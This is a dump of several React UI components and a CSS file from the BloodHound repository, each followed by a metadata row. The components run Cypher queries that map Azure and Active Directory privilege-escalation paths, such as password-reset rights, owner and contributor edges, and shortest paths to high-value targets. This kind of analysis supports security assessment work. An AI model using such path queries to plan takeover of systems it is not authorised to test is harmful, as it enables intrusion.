'MATCH p=(n)-[r:AZPrivilegedRoleAdmin]->(o:AZTenant {objectid: $objectid})'
}
distinct
/>
<NodeCypherLink
property='MS Graph Admins'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZMGGrantAppRoles]->(o:AZTenant {objectid: $objectid})'
}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r*1..]->(g:AZTenant {objectid: $objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type='AZTenant' />
<NodeGallery objectid={objectid} type='AZTenant' visible={visible} /> */}
</div>
</div>
);
};
AZTenantNodeData.propTypes = {};
export default AZTenantNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZTenantNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 2,158 |
```css
.dark :global .table {
background-color: #151d29;
border-left: solid #151d29 15px;
border-right: solid #151d29 15px;
border-top: solid #151d29 15px;
margin: 5px 10px 0;
width: 95%;
}
h4 {
color: #82b1c5 !important;
}
.nodelist {
overflow-y: auto;
overflow-x: hidden;
max-height: 600px;
}
.dark {
background-color: #151d29;
border-top: solid #151d29 0;
border-left: solid #151d29 0;
border-right: solid #151d29 0;
}
.dark :global table > tbody > tr:hover > td {
background-color: #406f8e;
color: white;
}
.dark table td {
color: white;
}
.dark h4 {
color: white;
}
.dark table td:nth-of-type(2) {
color: white;
font-weight: bold;
}
.nodelist table {
width: 95%;
margin-left: auto;
margin-right: auto;
margin-top: 10px;
}
.nodelist :global table > thead {
text-align: left;
position: -webkit-sticky;
position: sticky;
}
.nodelist :global table > tbody > tr {
font-family: Helvetica;
font-size: 12px;
border-style: hidden;
}
.nodelist :global table > tbody > tr:hover {
background-color: #406f8e;
}
.dark :global table > tbody > tr:hover:nth-of-type(odd) {
background-color: #406f8e;
}
.dark :global table > tbody > tr:nth-of-type(odd) {
background-color: #2b333e;
}
.dark :global table > tbody > tr:hover:nth-of-type(odd) {
background-color: #406f8e;
}
.light :global table > tbody > tr:nth-of-type(odd) {
background-color: #e7e7e7;
}
::-webkit-scrollbar {
width: 6px;
}
::-webkit-scrollbar-track {
-webkit-box-shadow: inset 0 0 6px #151d29;
}
::-webkit-scrollbar-thumb {
-webkit-box-shadow: inset 0 0 24px rgba(140, 197, 201);
}
.btnright {
background-color: #406f8e;
border-radius: 0 25px 25px 0;
border: 1px solid transparent;
padding: 8px;
font-family: Helvetica;
font-size: 12px;
width: 50%;
}
.btnleft {
background-color: #23395b;
border-radius: 25px 0 0 25px;
border: 1px solid transparent;
padding: 8px;
font-family: Helvetica;
font-size: 12px;
width: 50%;
}
.buttongroup {
position: relative;
display: inline-block;
vertical-align: middle;
width: 95%;
margin-right: 10px;
margin-left: 10px;
}
hr {
border-color: #94989d;
}
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/DatabaseDataDisplay.module.css | css | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 706 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZFunctionAppNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZFunctionApp') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(`MATCH (n:AZFunctionApp {objectid: $objectid}) RETURN n AS node`, {
objectid: id,
})
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherNoNumberLink
target={objectid}
property='See Function App within Tenant'
query='MATCH p = (d:AZTenant)-[r:AZContains*1..]->(u:AZFunctionApp {objectid: $objectid}) RETURN p'
/>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZFunctionApp {objectid:$objectid})-[:AZManagedIdentity]->(n)'
}
property={'Managed Identities'}
target={objectid}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header={'INBOUND OBJECT CONTROL'}>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZWebsiteContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZFunctionApp {objectid:$objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZMemberOf]->(g)-[r1:AZWebsiteContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZFunctionApp {objectid:$objectid})'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r1*1..]->(c:AZFunctionApp {objectid:$objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
</div>
</div>
);
};
AZFunctionAppNodeData.propTypes = {};
export default AZFunctionAppNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZFunctionAppNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,089 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import { AppContext } from '../../../AppContext';
import clsx from 'clsx';
import styles from './NodeData.module.css';
import NodeCypherLink from './Components/NodeCypherLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import { withAlert } from 'react-alert';
import CollapsibleSectionTable from './Components/CollapsibleSectionNew';
const AZRoleNodeData = ({}) => {
const [visible, setVisible] = useState(false);
const [objectid, setobjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZRole') {
setVisible(true);
setobjectid(id);
setDomain(domain);
let loadData = async () => {
let session = driver.session();
let results = await session.run(
`MATCH (n:AZRole {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
);
let props = results.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
};
loadData();
} else {
setobjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
displayname: 'Display Name',
enabled: 'Enabled',
description: 'Description',
templateid: 'Template ID',
tenantid: 'Tenant ID'
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSectionTable header={'ASSIGNMENTS'}>
<NodeCypherLink
baseQuery={
'MATCH p=(n)-[:AZHasRole|AZMemberOf*1..2]->(:AZRole {objectid:$objectid})'
}
property={'Active Assignments'}
target={objectid}
/>
</CollapsibleSectionTable>
</div>
</div>
);
};
export default withAlert()(AZRoleNodeData);
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZRoleNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 671 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLink from './Components/NodeCypherLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { withAlert } from 'react-alert';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZUserNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setobjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZUser') {
setVisible(true);
setobjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(
`MATCH (n:AZUser {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
)
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setobjectid(null);
setVisible(false);
}
};
const displayMap = {
displayname: 'Display Name',
objectid: 'Object ID',
enabled: 'Enabled',
whencreated: 'Creation Time',
title: 'Job Title',
pwdlastset: 'Password Last Set',
mail: 'Email',
usertype: 'User Type',
tenantid: 'Tenant ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Sessions'
target={objectid}
baseQuery={
'MATCH (m:AZUser {objectid: $objectid}),(n:Computer),p = ((n)-[r:HasSession*1..]->(m))'
}
start={label}
/>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZUser {objectid: $objectid})-[:AZMemberOf|AZHasRole*1..]->(n:AZRole)'
}
property={'Azure AD Admin Roles'}
target={objectid}
distinct
/>
<NodeCypherLink
property='Reachable High Value Targets'
target={objectid}
baseQuery={
'MATCH (m:AZUser {objectid: $objectid}),(n {highvalue:true}),p=shortestPath((m)-[r*1..]->(n)) WHERE NONE (r IN relationships(p) WHERE type(r)= "GetChanges") AND NONE (r in relationships(p) WHERE type(r)="GetChangesAll") AND NOT m=n'
}
start={label}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='GROUP MEMBERSHIP'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Group Membership'
target={objectid}
baseQuery={
'MATCH p=(m:AZUser {objectid: $objectid})-[r:AZMemberOf]->(n)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Unrolled Member Of'
target={objectid}
baseQuery={
'MATCH p = (m:AZUser {objectid: $objectid})-[r:AZMemberOf*1..]->(n)'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='OUTBOUND OBJECT CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Object Control'
target={objectid}
baseQuery={
'MATCH p = (g:AZUser {objectid: $objectid})-[r:AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZGlobalAdmin|AZGetCertificates|AZGetKeys|AZGetSecrets|AZVMAdminLogin|AZContributor|AZAvereContributor|AZUserAccessAdministrator|AZOwns|AZAddMembers|AZResetPassword|AZAppAdmin|AZCloudAppAdmin|AZVMContributor|AZAddSecret]->(n)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Group Delegated Object Control'
target={objectid}
baseQuery={
'MATCH p = (g1:AZUser {objectid: $objectid})-[r1:AZMemberOf*1..]->(g2)-[r2:AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZGlobalAdmin|AZGetCertificates|AZGetKeys|AZGetSecrets|AZVMAdminLogin|AZContributor|AZAvereContributor|AZUserAccessAdministrator|AZOwns|AZAddMembers|AZResetPassword|AZAppAdmin|AZCloudAppAdmin|AZVMContributor|AZAddSecret]->(n)'
}
start={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Control'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((g:AZUser {objectid: $objectid})-[r*1..]->(n))'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='INBOUND OBJECT CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AZResetPassword]->(g:AZUser {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AZMemberOf]->(g1)-[r1:AZResetPassword]->(g2:AZUser {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[*1..]->(g:AZUser {objectid: $objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type={'AZUser'} />
<NodeGallery
objectid={objectid}
type={'AZUser'}
visible={visible}
/> */}
</div>
</div>
);
};
AZUserNodeData.propTypes = {};
export default withAlert()(AZUserNodeData);
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZUserNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,966 |
```jsx
import clsx from 'clsx';
import React, { useContext, useEffect, useState } from 'react';
import { Table } from 'react-bootstrap';
import { AppContext } from '../../../AppContext';
import CollapsibleSection from './Components/CollapsibleSection';
import ExtraNodeProps from './Components/ExtraNodeProps';
import MappedNodeProps from './Components/MappedNodeProps';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import styles from './NodeData.module.css';
const OUNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const [blocksInheritance, setBlocksInheritance] = useState(false);
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'OU') {
setVisible(true);
setObjectid(id);
setDomain(domain);
setBlocksInheritance(blocksinheritance);
let session = driver.session();
session
.run(`MATCH (n:OU {objectid: $objectid}) RETURN n AS node`, {
objectid: id,
})
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel([...props.name] || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
description: 'Description',
blocksinheritance: 'Blocks Inheritance',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherNoNumberLink
query='MATCH p = (d)-[r:Contains*1..]->(o:OU {objectid: $objectid}) RETURN p'
target={objectid}
property='See OU Within Domain Tree'
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='Affecting GPOs'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='GPOs Directly Affecting This OU'
target={objectid}
baseQuery={
'MATCH p=(n:GPO)-[r:GPLink]->(o:OU {objectid: $objectid})'
}
/>
<NodeCypherLink
property='GPOs Affecting This OU'
target={objectid}
baseQuery={
'MATCH p=(n:GPO)-[r:GPLink|Contains*1..]->(o:OU {objectid: $objectid})'
}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='Descendant Objects'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Total User Objects'
target={objectid}
baseQuery={
'MATCH p=(o:OU {objectid: $objectid})-[r:Contains*1..]->(n:User)'
}
distinct
/>
<NodeCypherLink
property='Total Group Objects'
target={objectid}
baseQuery={
'MATCH p=(o:OU {objectid: $objectid})-[r:Contains*1..]->(n:Group)'
}
distinct
/>
<NodeCypherLink
property='Total Computer Objects'
target={objectid}
baseQuery={
'MATCH p=(o:OU {objectid: $objectid})-[r:Contains*1..]->(n:Computer)'
}
distinct
/>
<NodeCypherLink
property='Sibling Objects within OU'
target={objectid}
baseQuery={
'MATCH (o1)-[r1:Contains]->(o2:OU {objectid: $objectid}) WITH o1 MATCH p=(d)-[r2:Contains*1..]->(o1)-[r3:Contains]->(n)'
}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type='OU' />
<NodeGallery objectid={objectid} type='OU' visible={visible} /> */}
</div>
</div>
);
};
OUNodeData.propTypes = {};
export default OUNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/OUNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,275 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.